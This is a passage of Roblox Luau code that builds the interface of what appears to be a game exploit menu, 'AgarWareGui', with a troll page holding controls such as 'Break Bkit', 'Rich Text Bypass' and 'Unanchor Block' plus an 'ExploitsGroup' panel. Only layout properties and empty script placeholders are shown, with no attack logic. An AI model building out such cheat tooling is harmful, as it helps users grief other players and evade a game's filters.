G2L["13a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["13a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13a"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["13a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["13a"]["Text"] = [[Fix Bkit (Client)]];
G2L["13a"]["Name"] = [[BKitFixButton]];
G2L["13a"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixHelp
G2L["13b"] = Instance.new("TextButton", G2L["138"]);
G2L["13b"]["TextSize"] = 14;
G2L["13b"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["13b"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["13b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["13b"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["13b"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["13b"]["Text"] = [[?]];
G2L["13b"]["Name"] = [[BKitFixHelp]];
G2L["13b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow
G2L["13c"] = Instance.new("Frame", G2L["131"]);
G2L["13c"]["BorderSizePixel"] = 0;
G2L["13c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13c"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["13c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["13c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13c"]["Name"] = [[BKitBreakRow]];
G2L["13c"]["LayoutOrder"] = 3;
G2L["13c"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow.BKitBreakScript
G2L["13d"] = Instance.new("LocalScript", G2L["13c"]);
G2L["13d"]["Name"] = [[BKitBreakScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow.BKitBreakButton
G2L["13e"] = Instance.new("TextButton", G2L["13c"]);
G2L["13e"]["TextSize"] = 14;
G2L["13e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["13e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13e"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["13e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["13e"]["Text"] = [[Break Bkit]];
G2L["13e"]["Name"] = [[BKitBreakButton]];
G2L["13e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow
G2L["13f"] = Instance.new("Frame", G2L["131"]);
G2L["13f"]["BorderSizePixel"] = 0;
G2L["13f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["13f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["13f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13f"]["Name"] = [[SprayRepRow]];
G2L["13f"]["LayoutOrder"] = 16;
G2L["13f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepText
G2L["140"] = Instance.new("TextLabel", G2L["13f"]);
G2L["140"]["BorderSizePixel"] = 0;
G2L["140"]["TextSize"] = 14;
G2L["140"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["140"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["140"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["140"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["140"]["BackgroundTransparency"] = 1;
G2L["140"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["140"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["140"]["Text"] = [[Spray:]];
G2L["140"]["Name"] = [[SprayRepText]];
G2L["140"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepChanger
G2L["141"] = Instance.new("TextBox", G2L["13f"]);
G2L["141"]["Name"] = [[SprayRepChanger]];
G2L["141"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["141"]["TextWrapped"] = true;
G2L["141"]["TextSize"] = 14;
G2L["141"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["141"]["TextScaled"] = true;
G2L["141"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["141"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["141"]["PlaceholderText"] = [[(none)]];
G2L["141"]["Size"] = UDim2.new(0, 114, 0, 16);
G2L["141"]["Position"] = UDim2.new(0.29586, 0, 0.16, 0);
G2L["141"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["141"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepChanger.SprayRepScript
G2L["142"] = Instance.new("LocalScript", G2L["141"]);
G2L["142"]["Name"] = [[SprayRepScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow
G2L["143"] = Instance.new("Frame", G2L["131"]);
G2L["143"]["BorderSizePixel"] = 0;
G2L["143"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["143"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["143"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["143"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["143"]["Name"] = [[APPLYCHANGESRow]];
G2L["143"]["LayoutOrder"] = 20;
G2L["143"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow.APPLYCHANGESScript
G2L["144"] = Instance.new("LocalScript", G2L["143"]);
G2L["144"]["Name"] = [[APPLYCHANGESScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow.APPLYCHANGESButton
G2L["145"] = Instance.new("TextButton", G2L["143"]);
G2L["145"]["TextSize"] = 14;
G2L["145"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["145"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["145"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["145"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["145"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["145"]["Text"] = [[Apply Changes]];
G2L["145"]["Name"] = [[APPLYCHANGESButton]];
G2L["145"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow
G2L["146"] = Instance.new("Frame", G2L["131"]);
G2L["146"]["BorderSizePixel"] = 0;
G2L["146"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["146"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["146"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["146"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["146"]["Name"] = [[UnanchorRepRow]];
G2L["146"]["LayoutOrder"] = 13;
G2L["146"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepScript
G2L["147"] = Instance.new("LocalScript", G2L["146"]);
G2L["147"]["Name"] = [[UnanchorRepScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepTickBox
G2L["148"] = Instance.new("TextButton", G2L["146"]);
G2L["148"]["TextSize"] = 14;
G2L["148"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["148"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["148"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["148"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["148"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["148"]["Text"] = [[]];
G2L["148"]["Name"] = [[UnanchorRepTickBox]];
G2L["148"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepText
G2L["149"] = Instance.new("TextLabel", G2L["146"]);
G2L["149"]["BorderSizePixel"] = 0;
G2L["149"]["TextSize"] = 14;
G2L["149"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["149"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["149"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["149"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["149"]["BackgroundTransparency"] = 1;
G2L["149"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["149"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["149"]["Text"] = [[Unanchor Block]];
G2L["149"]["Name"] = [[UnanchorRepText]];
G2L["149"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepLabelRow
G2L["14a"] = Instance.new("Frame", G2L["131"]);
G2L["14a"]["BorderSizePixel"] = 0;
G2L["14a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["14a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["14a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14a"]["Name"] = [[MaterialRepLabelRow]];
G2L["14a"]["LayoutOrder"] = 18;
G2L["14a"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepLabelRow.MaterialRapLabelText
G2L["14b"] = Instance.new("TextLabel", G2L["14a"]);
G2L["14b"]["BorderSizePixel"] = 0;
G2L["14b"]["TextSize"] = 14;
G2L["14b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["14b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14b"]["BackgroundTransparency"] = 1;
G2L["14b"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["14b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14b"]["Text"] = [[Material:]];
G2L["14b"]["Name"] = [[MaterialRapLabelText]];
G2L["14b"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow
G2L["14c"] = Instance.new("Frame", G2L["131"]);
G2L["14c"]["BorderSizePixel"] = 0;
G2L["14c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14c"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["14c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["14c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14c"]["Name"] = [[MaterialRepRow]];
G2L["14c"]["LayoutOrder"] = 19;
G2L["14c"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow.MaterialRepScript
G2L["14d"] = Instance.new("LocalScript", G2L["14c"]);
G2L["14d"]["Name"] = [[MaterialRepScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow.MaterialRepDropdown
G2L["14e"] = Instance.new("TextButton", G2L["14c"]);
G2L["14e"]["TextSize"] = 14;
G2L["14e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["14e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14e"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["14e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["14e"]["Text"] = [[]];
G2L["14e"]["Name"] = [[MaterialRepDropdown]];
G2L["14e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow
G2L["14f"] = Instance.new("Frame", G2L["131"]);
G2L["14f"]["BorderSizePixel"] = 0;
G2L["14f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["14f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["14f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14f"]["Name"] = [[ColorRepRow]];
G2L["14f"]["LayoutOrder"] = 14;
G2L["14f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepText
G2L["150"] = Instance.new("TextLabel", G2L["14f"]);
G2L["150"]["BorderSizePixel"] = 0;
G2L["150"]["TextSize"] = 14;
G2L["150"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["150"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["150"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["150"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["150"]["BackgroundTransparency"] = 1;
G2L["150"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["150"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["150"]["Text"] = [[Block Color:]];
G2L["150"]["Name"] = [[ColorRepText]];
G2L["150"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepButton
G2L["151"] = Instance.new("TextButton", G2L["14f"]);
G2L["151"]["BorderSizePixel"] = 0;
G2L["151"]["TextSize"] = 14;
G2L["151"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["151"]["BackgroundColor3"] = Color3.fromRGB(193, 193, 193);
G2L["151"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["151"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["151"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["151"]["Text"] = [[]];
G2L["151"]["Name"] = [[ColorRepButton]];
G2L["151"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepButton.ColorRepButtonScript
G2L["152"] = Instance.new("LocalScript", G2L["151"]);
G2L["152"]["Name"] = [[ColorRepButtonScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow
G2L["153"] = Instance.new("Frame", G2L["131"]);
G2L["153"]["BorderSizePixel"] = 0;
G2L["153"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["153"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["153"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["153"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["153"]["Name"] = [[SprayColorRepRow]];
G2L["153"]["LayoutOrder"] = 15;
G2L["153"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepText
G2L["154"] = Instance.new("TextLabel", G2L["153"]);
G2L["154"]["BorderSizePixel"] = 0;
G2L["154"]["TextSize"] = 14;
G2L["154"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["154"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["154"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["154"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["154"]["BackgroundTransparency"] = 1;
G2L["154"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["154"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["154"]["Text"] = [[Spray Color:]];
G2L["154"]["Name"] = [[SprayColorRepText]];
G2L["154"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepButton
G2L["155"] = Instance.new("TextButton", G2L["153"]);
G2L["155"]["BorderSizePixel"] = 0;
G2L["155"]["TextSize"] = 14;
G2L["155"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["155"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["155"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["155"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["155"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["155"]["Text"] = [[]];
G2L["155"]["Name"] = [[SprayColorRepButton]];
G2L["155"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepButton.SprayColorRepButtonScript
G2L["156"] = Instance.new("LocalScript", G2L["155"]);
G2L["156"]["Name"] = [[SprayColorRepButtonScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow
G2L["157"] = Instance.new("Frame", G2L["131"]);
G2L["157"]["BorderSizePixel"] = 0;
G2L["157"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["157"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["157"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["157"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["157"]["Name"] = [[DefaultRepRow]];
G2L["157"]["LayoutOrder"] = 21;
G2L["157"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow.DefaultRepScript
G2L["158"] = Instance.new("LocalScript", G2L["157"]);
G2L["158"]["Name"] = [[DefaultRepScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow.DefaultRepButton
G2L["159"] = Instance.new("TextButton", G2L["157"]);
G2L["159"]["TextSize"] = 14;
G2L["159"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["159"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["159"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["159"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["159"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["159"]["Text"] = [[Set Default Colors]];
G2L["159"]["Name"] = [[DefaultRepButton]];
G2L["159"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RowREPSTART
G2L["15a"] = Instance.new("Frame", G2L["131"]);
G2L["15a"]["BackgroundColor3"] = Color3.fromRGB(89, 89, 89);
G2L["15a"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["15a"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["15a"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["15a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["15a"]["Name"] = [[RowREPSTART]];
G2L["15a"]["LayoutOrder"] = 10;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RowREPSPACESTART
G2L["15b"] = Instance.new("Frame", G2L["131"]);
G2L["15b"]["BorderSizePixel"] = 0;
G2L["15b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15b"]["Size"] = UDim2.new(0, 169, 0, 8);
G2L["15b"]["Position"] = UDim2.new(0.00294, 0, 0.26136, 0);
G2L["15b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15b"]["Name"] = [[RowREPSPACESTART]];
G2L["15b"]["LayoutOrder"] = 9;
G2L["15b"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepRepRow
G2L["15c"] = Instance.new("TextLabel", G2L["131"]);
G2L["15c"]["TextWrapped"] = true;
G2L["15c"]["BorderSizePixel"] = 0;
G2L["15c"]["TextSize"] = 14;
G2L["15c"]["TextScaled"] = true;
G2L["15c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15c"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["15c"]["BackgroundTransparency"] = 0.95;
G2L["15c"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["15c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15c"]["Text"] = [[Customize Block]];
G2L["15c"]["LayoutOrder"] = 11;
G2L["15c"]["Name"] = [[RepRepRow]];
G2L["15c"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow
G2L["15d"] = Instance.new("Frame", G2L["131"]);
G2L["15d"]["BorderSizePixel"] = 0;
G2L["15d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["15d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["15d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15d"]["Name"] = [[RichTextRepRow]];
G2L["15d"]["LayoutOrder"] = 17;
G2L["15d"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepScript
G2L["15e"] = Instance.new("LocalScript", G2L["15d"]);
G2L["15e"]["Name"] = [[RichTextRepScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepTickBox
G2L["15f"] = Instance.new("TextButton", G2L["15d"]);
G2L["15f"]["TextSize"] = 14;
G2L["15f"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15f"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["15f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["15f"]["Text"] = [[]];
G2L["15f"]["Name"] = [[RichTextRepTickBox]];
G2L["15f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepText
G2L["160"] = Instance.new("TextLabel", G2L["15d"]);
G2L["160"]["BorderSizePixel"] = 0;
G2L["160"]["TextSize"] = 14;
G2L["160"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["160"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["160"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["160"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["160"]["BackgroundTransparency"] = 1;
G2L["160"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["160"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["160"]["Text"] = [[Rich Text Bypass]];
G2L["160"]["Name"] = [[RichTextRepText]];
G2L["160"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow
G2L["161"] = Instance.new("Frame", G2L["131"]);
G2L["161"]["BorderSizePixel"] = 0;
G2L["161"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["161"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["161"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["161"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["161"]["Name"] = [[RestoreBrickRow]];
G2L["161"]["LayoutOrder"] = 4;
G2L["161"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickScript
G2L["162"] = Instance.new("LocalScript", G2L["161"]);
G2L["162"]["Name"] = [[RestoreBrickScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickButton
G2L["163"] = Instance.new("TextButton", G2L["161"]);
G2L["163"]["TextSize"] = 14;
G2L["163"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["163"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["163"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["163"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["163"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["163"]["Text"] = [[Restore Brick]];
G2L["163"]["Name"] = [[RestoreBrickButton]];
G2L["163"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickHelp
G2L["164"] = Instance.new("TextButton", G2L["161"]);
G2L["164"]["TextSize"] = 14;
G2L["164"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["164"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["164"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["164"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["164"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["164"]["Text"] = [[?]];
G2L["164"]["Name"] = [[RestoreBrickHelp]];
G2L["164"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup
G2L["165"] = Instance.new("Frame", G2L["12f"]);
G2L["165"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["165"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["165"]["Size"] = UDim2.new(0, 170, 0, 80);
G2L["165"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["165"]["Name"] = [[ExploitsGroup]];
